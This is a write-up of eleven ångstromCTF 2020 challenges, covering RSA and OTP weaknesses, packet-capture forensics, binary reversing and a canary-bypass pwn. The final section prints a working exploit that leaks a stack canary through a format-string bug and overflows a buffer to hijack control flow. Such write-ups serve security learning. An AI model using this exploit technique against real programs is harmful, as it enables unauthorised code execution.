I participated in ångstromCTF 2020 with my awesome team P1rates and I was able to solve 11 challenges with them. This is my writeup about some challenges I managed to solve during the competition.
Contents:
- Cryptography
- Miscellaneous
- Reverse
- Binary
Cryptography
1. Reasonably Strong Algorithm
RSA strikes again.
This was an easy
RSA
challenge given the following:
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
To solve this challenge you must know RSA and how it works.
Now, we have
n
public modulus,
e
exponent and
c
ciphertext. I thought If I just factor
n
to
its primes I can compute the
φ(n)
and find private key
d
such
that
d * e = 1 mod(φ(n))
. I can compute
d
as
modinverse(e, φ(n))
using
Euclidean Algorithm. Then calculate
where
m
is
our flag.
Here is my code to do it:
#!/usr/bin/env python
def modinv(a, m) :
a = a % m;
for x in range(1, m) :
if ((a * x) % m == 1) :
return x
return 1
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
p = 13536574980062068373
q = 9336949138571181619
phi = (p-1) * (q-1)
d = modinv(e, phi)
m = hex(pow(c,d,n))[2:-1]
print str(m).decode('hex')
root@kali:~# python rsa.py
actf{10minutes}
2. Wacko Images
How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py The flag is
actf{x#xx#xx_xx#xxx}
where x represents any lowercase letter and # represents any one digit number.
So, we’re given the encoded image:
And the encryption code:
from numpy import *
from PIL import Image
flag = Image.open(r"flag.png")
img = array(flag)
key = [41, 37, 23]
a, b, c = img.shape
for x in range (0, a):
for y in range (0, b):
pixel = img[x, y]
for i in range(0,3):
pixel[i] = pixel[i] * key[i] % 251
img[x][y] = pixel
enc = Image.fromarray(img)
enc.save('enc.png')
The weakness here is the key is given in the code and
pixel[i] = pixel[i] * key[i] mod(251)
.
Simply, the code does the following:
-
Find each pixel
(R, G, B)
in the original image whereRGB
are the Red, Green, Blue values respectively. -
Calculate
(R*key[0], G*key[1], B*key[2])
.
Now I should find the original pixels such that
pixel[i] * key[i] = 1 mod(251)
, and this is also the modular inverse
pixel[i] * modinverse(k[i], 251)
.
So, let’s code and get the flag:
from numpy import *
from PIL import Image
flag = Image.open(r"enc.png")
img = array(flag)
def modinv(a, m) :
a = a % m;
for x in range(1, m) :
if ((a * x) % m == 1) :
return x
return 1
key = [41, 37, 23]
a, b, c = img.shape
for x in range (0, a):
for y in range (0, b):
pixel = img[x, y]
for i in range(0,3):
pixel[i] = (modinv(key[i],251)*pixel[i]) % 251
img[x][y] = pixel
enc = Image.fromarray(img)
enc.save('flag.png')
Give us the flag.png:
actf{m0dd1ng_sk1llz}
3. Confused Streaming
I made a stream cipher!
nc crypto.2020.chall.actf.co 20601
hint: look at dream stream
The given code it seems confusing:
from __future__ import print_function
import random,os,sys,binascii
from decimal import *
try:
input = raw_input
except:
pass
getcontext().prec = 1000
def keystream(key):
random.seed(int(os.environ["seed"]))
e = random.randint(100,1000)
while 1:
d = random.randint(1,100)
ret = Decimal('0.'+str(key ** e).split('.')[-1])
for i in range(d):
ret*=2
yield int((ret//1)%2)
e+=1
try:
a = int(input("a: "))
b = int(input("b: "))
c = int(input("c: "))
# remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc
if b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000:
raise Exception()
key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
except:
print("bad key")
else:
flag = binascii.hexlify(os.environ["flag"].encode())
flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
ret = ""
k = keystream(key)
for i in flag:
ret += str(next(k)^int(i))
print(ret)
But here is the trick, the code wants you to enter
a b c
such that some condition is achieved and if you provided those
values correctly, it gives you the flag. The condition is
b*b < 4*a*c or a==0 or b==0 or c==0 or
Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or
abs(a)>1000 or abs(b)>1000 or abs(c)>1000
But it checks the values that can validate the key as the comment says “remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc”.
And guess what this is the real solutions of the quadratic equation.
So, now I can brute force the values that
cannot achieve the condition he wanted. Note
that he want any correct values for
a b c
.
Here is my code to do that:
#!/usr/bin/env python
from pwn import *
from decimal import *
context.log_level = 'critical'
T = []
for a in (1, 100):
for b in (1, 100):
for c in (1, 100):
if not (b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>100 or abs(b)>100 or abs(c)>100):
T.append((a,b,c))
r = remote('crypto.2020.chall.actf.co',20601)
r.sendlineafter('a', str(T[0][0]))
r.sendlineafter('b', str(T[0][1]))
r.sendlineafter('c', str(T[0][2]))
print hex(int(r.recvall()[2:],2))[2:].decode('hex')
r.close()
root@kali:~# python stream.py
actf{down_to_the_decimal}
4. One Time Pad
My super secure service is available now! Heck, even with the source, I bet you won’t figure it out.
nc misc.2020.chall.actf.co 20301
One Time Pad is just known as unbreakable cryptographic technique that requires a random key as long as message being sent, but we’re the only ones who can make this it breakable by using wrong keys.
So, when I connect to the server it asks me to enter either 1 to request encrypted sample with its key or 2 to decrypt some given sample.
root@kali:~# nc misc.2020.chall.actf.co 20301
Welcome to my one time pad service!
It's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!
You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.
Enter:
1) Request sample
2) Try your luck at decrypting something!
>
In the code the function
otp(a, b)
takes 2 arguments the message and the key, then iterate through
them one by one and do simple
xor
,
but we know that
xor
is
the reverse of itself.
After analysing the given source code I notice the deadly bug
and that is
random.seed(int(time.time()))
.
It seeds the random generator with the current time when the connection initiated and that’s horrible because the random numbers repeats after some periods with the same seed.
So, now let’s brute force the key and crack the unbreakable OTP.
#!/usr/bin/env python
from pwn import *
from base64 import *
context.log_level = 'critical'
def otp(a, b):
r = ""
for i, j in zip(a, b):
r += chr(ord(i) ^ ord(j))
return r
r = remote('misc.2020.chall.actf.co', 20301)
while 1:
r.sendlineafter('>','1')
msg_key = r.recvline().strip().split(' ')
r.sendlineafter('>','2')
msg = b64decode(r.recvline().strip())
x, k = b64decode(msg_key[0]), b64decode(msg_key[-1])
if len(x) == len(msg):
print '[*] Got one ...'
res = otp(msg,k)
r.sendlineafter('answer:',res)
print '\t', res
line = r.recvline().strip()
if 'actf{' in line:
print '[+] Found it\n\t', line
break
continue
else :
r.sendlineafter('answer:','A')
r.close()
I ran the script and after awhile I got the flag.
root@kali:~# python otp.py
[*] Got one ...
}_r^OM`DDaKfDZXwZ{csxAgk
[*] Got one ...
m]\\x7fqMzUrRwxWwYqu]
.
.
.
[+] Found it ...
actf{one_time_pad_more_like_i_dont_like_crypto-1982309}
Later on I noticed that the encrypted string can be of length 1 or 2 and that blows my mind after the previous solution.
So, If I can send any letter that can be encrypted using the any key of the same length it could be a solution.
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
r = remote('misc.2020.chall.actf.co', 20301)
while 1:
r.sendlineafter('>','1')
r.recvline()
r.sendlineafter('>','2')
r.recvline()
r.sendline('G')
print '[*] Trying...'
line = r.recvline().strip()
if "actf{" in line:
print '[+] Flag:\n', line
break
r.close()
root@kali:~# python otp.py
[*] Trying...
[*] Trying...
.
.
.
[*] Trying...
[+] Flag:
Your answer: actf{one_time_pad_more_like_i_dont_like_crypto-1982309}
One Time Pad is so bad.
- Misc
1. ws2
No ascii, not problem :) recording.pcapng
This challenge like the first one ws1 it gives
us a network packet capture file, so first let’s see what it
contains using
binwalk
.
root@kali:~# binwalk recording.pcapng
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3003 0xBBB HTML document header
3328 0xD00 HTML document footer
5688 0x1638 JPEG image data, JFIF standard 1.01
111167 0x1B23F HTML document header
111545 0x1B3B9 HTML document footer
It contains some HTML files and that means there are some
HTTP
requests in the capture file and the interesting one is a
JPEG
image at offset
0x1638
.
Let’s extract this image using
dd
command:
root@kali:~# dd if=recording.pcapng bs=1 skip=$((0x1638)) count=$((0x1b23f-0x1638)) of=file2.jpg
105479+0 records in
105479+0 records out
105479 bytes (105 kB, 103 KiB) copied, 0.509051 s, 207 kB/s
root@kali:~# file file.jpg
file2.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, baseline, precision 8, 1500x1461, components 3
The command just skip
0x1638
blocks and count
0x1b23f-0x1638
blocks to extract the image and by looking at it.
It looks corrupted so let’s look at the magic bytes in hex
editor. As we know the
JPEG
images starts with
FF D8
and ends with
FF D9
.
I found the first bytes it seems good nothing with them.
But when I looked at the last bytes there’re some addtional bytes in the hex dump, so let’s remove them and save the file.
Oh! That’s not good the image still the same. Now, let’s jump
into
wireshark
and see the original packets.
After I filtered the packets I got 4
HTTP
requests and one of them is
POST
request contains an image. So let’s follow HTTP stream and
extract the raw bytes.
After I dumped the raw bytes from
FF D8 FF E0
to
FF D9
into a new file I got the original image.
Flag:
actf{ok_to_b0r0s-4809813}
2. ws3
What the… record.pcapng hint: Did I send something? Or…
Like the previous one I ran binwalk on the capture file but this
time I got a bunch of
zlib
files.
root@kali:~# binwalk record.pcapng
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3664 0xE50 Zlib compressed data, default compression
3793 0xED1 Zlib compressed data, default compression
3841 0xF01 Zlib compressed data, default compression
14810 0x39DA Zlib compressed data, default compression
14969 0x3A79 Zlib compressed data, default compression
38120 0x94E8 Zlib compressed data, default compression
38258 0x9572 Zlib compressed data, default compression
So I decided to jumb into
wireshark
again and look for any
HTTP
packets.
I noticed
HTTP
packet with length
2131
bigger than the others, so let’s look at it.
I know the magic bytes for
zlib
file and can be one of:
-
78 01
- No Compression/low -
78 9C
- Default Compression -
78 DA
- Best Compression
After looking in the raw bytes for the packet I found first
78 9C
and the end of the file is unknown so let’s extract it into a
new file.
root@kali:~# file file.zlib
ws3_3.zlib: zlib compressed data
I looked again with binwalk the file contains 3 other
zlib
files.
root@kali:~# binwalk Zlib
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zlib compressed data, default compression
159 0x9F Zlib compressed data, default compression
242 0xF2 Zlib compressed data, default compression
So, I decided to extract each one and look at them one by one.
root@kali:~# dd if=Zlib bs=1 count=159 of=1.zlip
159+0 records in
159+0 records out
159 bytes copied, 0.0008654 s, 184 kB/s
root@kali:~# dd if=Zlib bs=1 skip=159 count=$((0xf2-0x9f)) of=2.zlip
83+0 records in
83+0 records out
83 bytes copied, 0.00072573 s, 114 kB/s
root@kali:~# dd if=Zlib bs=1 skip=242 of=3.zlip
17643+0 records in
17643+0 records out
17643 bytes (18 kB, 17 KiB) copied, 0.050157 s, 352 kB/s
Now, let’s extract them:
root@kali:~# cat 3.zlip | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" | head -1
����JFIFHH��C
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
And I got the flag as a
JPEG
image at the last file.
actf{git_good_git_wireshark-123323}
3. PSK
My friend sent my yet another mysterious recording… He told me he was inspired by PicoCTF 2019 and made his own transmissions. I’ve looked at it, and it seems to be really compact and efficient. Only 31 bps!! See if you can decode what he sent to me. It’s in actf{} format
This one I spend some time to figure out what he want and what’s
the record. But after searching about
PSK
I
found It’s just an audio with amplitude and phase-modulated
waveform that is converted to an audio frequency analog signal
by a sound card.
And guess what it can be decoded usign the PSK31 software like
EssexPSK
.
After I download the software and put the mic on the headphones
to decode the audio it gives me the flag.
actf{hamhamhamhamham}
4. Shifter
What a strange challenge… It’ll be no problem for you, of course!
nc misc.2020.chall.actf.co 20300
hint: Do you really need to calculate all those numbers?
This challenges seems interesting when I connect with the server it asks me the following:
root@kali:~# nc misc.2020.chall.actf.co 20300
Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift AZPHUYBJHVY by n=44
:
It’s just a ceaser cipher but with key as Fibonacci number, and the n he given is pretty small to calculate.
So, let’s write small
python
script to do it and get the flag.
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
fib_arr = [0,1]
def fib(n):
if n<=len(fib_arr):
return fib_arr[n-1]
else:
temp_fib = fib(n-1)+fib(n-2)
fib_arr.append(temp_fib)
return temp_fib
fib(50)
def encrypt(text,k):
result = ""
for i in range(len(text)):
char = text[i]
result += chr((ord(char) + k - 65) % 26 + 65)
return result
r = remote('misc.2020.chall.actf.co', 20300)
r.recvuntil('--------------------')
r.recvline()
for _ in range(50):
s = r.recvline().strip().split(' ')
m, k = s[1], fib_arr[int(s[-1][2:])]
print '\r[+] Level', (_+1)
res = encrypt(m,k)
r.sendlineafter(':',res)
print r.recvall().strip()
And finally I got it.
root@kali:~# python shifter.py
[+] Level 1
[+] Level 2
.
.
.
[+] Level 49
[+] Level 50
actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}
Reverse
1. Windows of Opportunity
Clam’s a windows elitist and he just can’t stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the “superior” operating system.
hint: You can probably solve it just by looking at the disassembly.
The challenge give us the binary and let’s see the file:
root@kali:~# file windows_of_opportunity.exe
windows_of_opportunity.exe: PE32+ executable (console) x86-64, for MS Windows
It’s
PE32+
windows executable, but when I look at the hint it sounds
interesting so let’s do what he says and disassemble it using
strings.
root@kali:~# strings windows_of_opportunity.exe | grep -aoE "actf{.*}"
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}
Gotcha
2. Taking Off
So you started revving up, but is it enough to take off? Find the problem in
/problems/2020/taking_off/
in the shell server.
This challenge seems nice it gives us the binary:
root@kali:~# file taking_off
taking_off: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc4deaf2c2da6fdaf4cb7bc1e83d4f1372720832, not stripped
Oh! That looks interesting it’s a
ELF
64-bit linux file dynamically linked but not stripped its
symbols. I ran strings on it, but nothing so let’s run it:
root@kali:~# ./taking_off
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Make sure you have the correct amount of command line arguments!
It asks for some arguments I tried enter some, but nothing. So,
let’s jump into
IDA
and look what it does.
I found some interesting functions
main
,
print_flag
,
is_valid
. Let’s start with
main
and see what it contains:
As we see at line
17
it
accepts 4 arguments and convert the first 3
v4
v5
v6
into integers, then it checks for each value is it invalid or
not with
is_invalid
function:
It just checks for given integer
a1
if
less than 0 or greater than 9. And after that at line
26
compute the following equation
100*v5 + 10*v4 + v6
if it’s equal to
932
.
It also checks for the 4th argument to be
chicken
. If all the above checks fail it prints
Don't try to guess...
So, now we’re really smart to find that
v5 = 9
,
v4 = 3
and
v6 = 2
to validate the equation he wanted let’s try it now with our
correct arguments.
root@kali:~# ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
Now, It asks for a password. So, let’s jump into the remaining
part of the
main
:
As we see above at line
34
it
asks to enter the password and store it in
s
.
From line
39
to
51
do
the following:
- Iterate through the entered password.
-
Check for each character if its value
xor 0x2a
to be equal some value stored indesired
variable. -
If all values correctly checked it gives us the flag with
print_flag
functions.
Let’s look what the
desired
variable stored in data section:
The value
0Ah
is
just a linefeed
\n
,
but we know that the decompilation process is optimized so it
can be a
space
in the password.
As far as we got here now, we have all we need to reverse the binary and get our flag.
Now, let’s brute force the password and give it to the server to retrieve the flag:
#!/usr/bin/env python
from string import ascii_letters
key = 'ZFOKYO\nMC\\O\nLFKM*'
passw = ""
for i in range(len(key)):
for c in ' ' + ascii_letters:
if chr(ord(c) ^ 42) == key[i]:
passw += c
break
print passw
root@kali:~# python ape.py
please give flag
team6525@actf:/problems/2020/taking_off$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}
Binary (Pwn)
1. Canary
A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.” —Anonymous Can you call the flag function in this program (source)? Try it out on the shell server at
/problems/2020/canary
or by connecting withnc shell.actf.co 20701
.
hint: That printf call looks dangerous too…
This pwnable challenges from its name looks cool it seems to be about stack canaries and stuff like low level binary and stack protection.
It gives us the binary a
64-bit
linux file and the source code:
root@kali:~# file canary
canary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4c9450f3e2622ff6b7fa8fd33f728edfda901b97, not stripped
After analysing the source code I found 2 possible potential
vulnerabilities in the
greet
function the first one is a buffer overflow at lines
39
,
44
and
the second bug is memory leak (format string) at line
40
.
Let’s check the binary:
The binary enabled
RELRO
,
Stack Canary
, and
NX
and
we know the challenge talk about canary. So, let’s run the
program in
gdb
and see what it does:
The first input I entered a bunch of
%p
to
see how it prints the results, and it prints some possible
values from the stack.
The second input I entered some
A
and
it gives me stack smashing detected flag.
And by that I knew the random canary value prevents the program from being overflowed or any modification for registers values and if it does the program exits immeadiately.
So, let’s brute force the position of the canary value in the stack.
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
def canary_brute():
for i in range(28):
io = e.process(level="error")
io.recvuntil('name?')
io.sendline('AAAA %{}$lx'.format(i))
s = io.recvline()
print("{} - {}" .format(i, s.strip()))
io.close()
canary_brute()
root@kali:~# python canary.py
0 - Nice to meet you, AAAA %0$lx!
1 - Nice to meet you, AAAA 7fff704e6d20!
2 - Nice to meet you, AAAA a!
3 - Nice to meet you, AAAA fffffffffffffff4!
4 - Nice to meet you, AAAA 7f795c2b0500!
5 - Nice to meet you, AAAA 12!
6 - Nice to meet you, AAAA 2436252041414141!
7 - Nice to meet you, AAAA 7f000a21786c!
...
12 - Nice to meet you, AAAA 0!
13 - Nice to meet you, AAAA 7ffe85653b00!
14 - Nice to meet you, AAAA 4006a0!
15 - Nice to meet you, AAAA 7fff6069f380!
16 - Nice to meet you, AAAA 0!
17 - Nice to meet you, AAAA 65d74053b88f5300!
18 - Nice to meet you, AAAA 7fff86b86a50!
19 - Nice to meet you, AAAA 4009c9!
I know that the canary value must end with
\x00
byte and it looks the same at position
17
every time I run the script.
...
Hi! What's your name? %17$p
Nice to meet you, 0x5f254cc8e0605300!
...
We got the the canary let’s calculate the offset of the buffer
to overflow the binary. I created a cyclic pattern using
De Bruijn
sequence, add breakpoint at
0x400945
and ran the program.
And we have
RAX: 0x4841413241416341
and the offset we need is
56
.
gdb-peda$ pattern offset 0x4841413241416341
5206514328315978561 found at offset: 56
Now, we construct
payload = buffer (56 bytes) + canary (8 bytes) + RBP (8
bytes) + flag offset
.
#!/usr/bin/env python
from pwn import *
context.log_level = 'critical'
e = ELF("./canary")
get_flag = e.sym["flag"] # get the offset of the flag() function
io = remote('shell.actf.co', 20701)
io.recvuntil('name?')
io.sendline('%17$lx')
canary = int(io.recvline().strip().split(' ')[-1][:-1],16)
log.success('Canary: %s' % hex(canary))
log.success('Flag func: %s' % hex(get_flag))
io.recvuntil('me?')
payload = ''
payload += 'A'*56
payload += p64(canary)
payload += 'B'*8 # fill out rbp register
payload += p64(get_flag)
log.info('Payload: %s\n' % payload)
io.sendline(payload)
print io.recvall().strip()
io.close()
I ran the script and got the flag
actf{youre_a_canary_killer_>:(}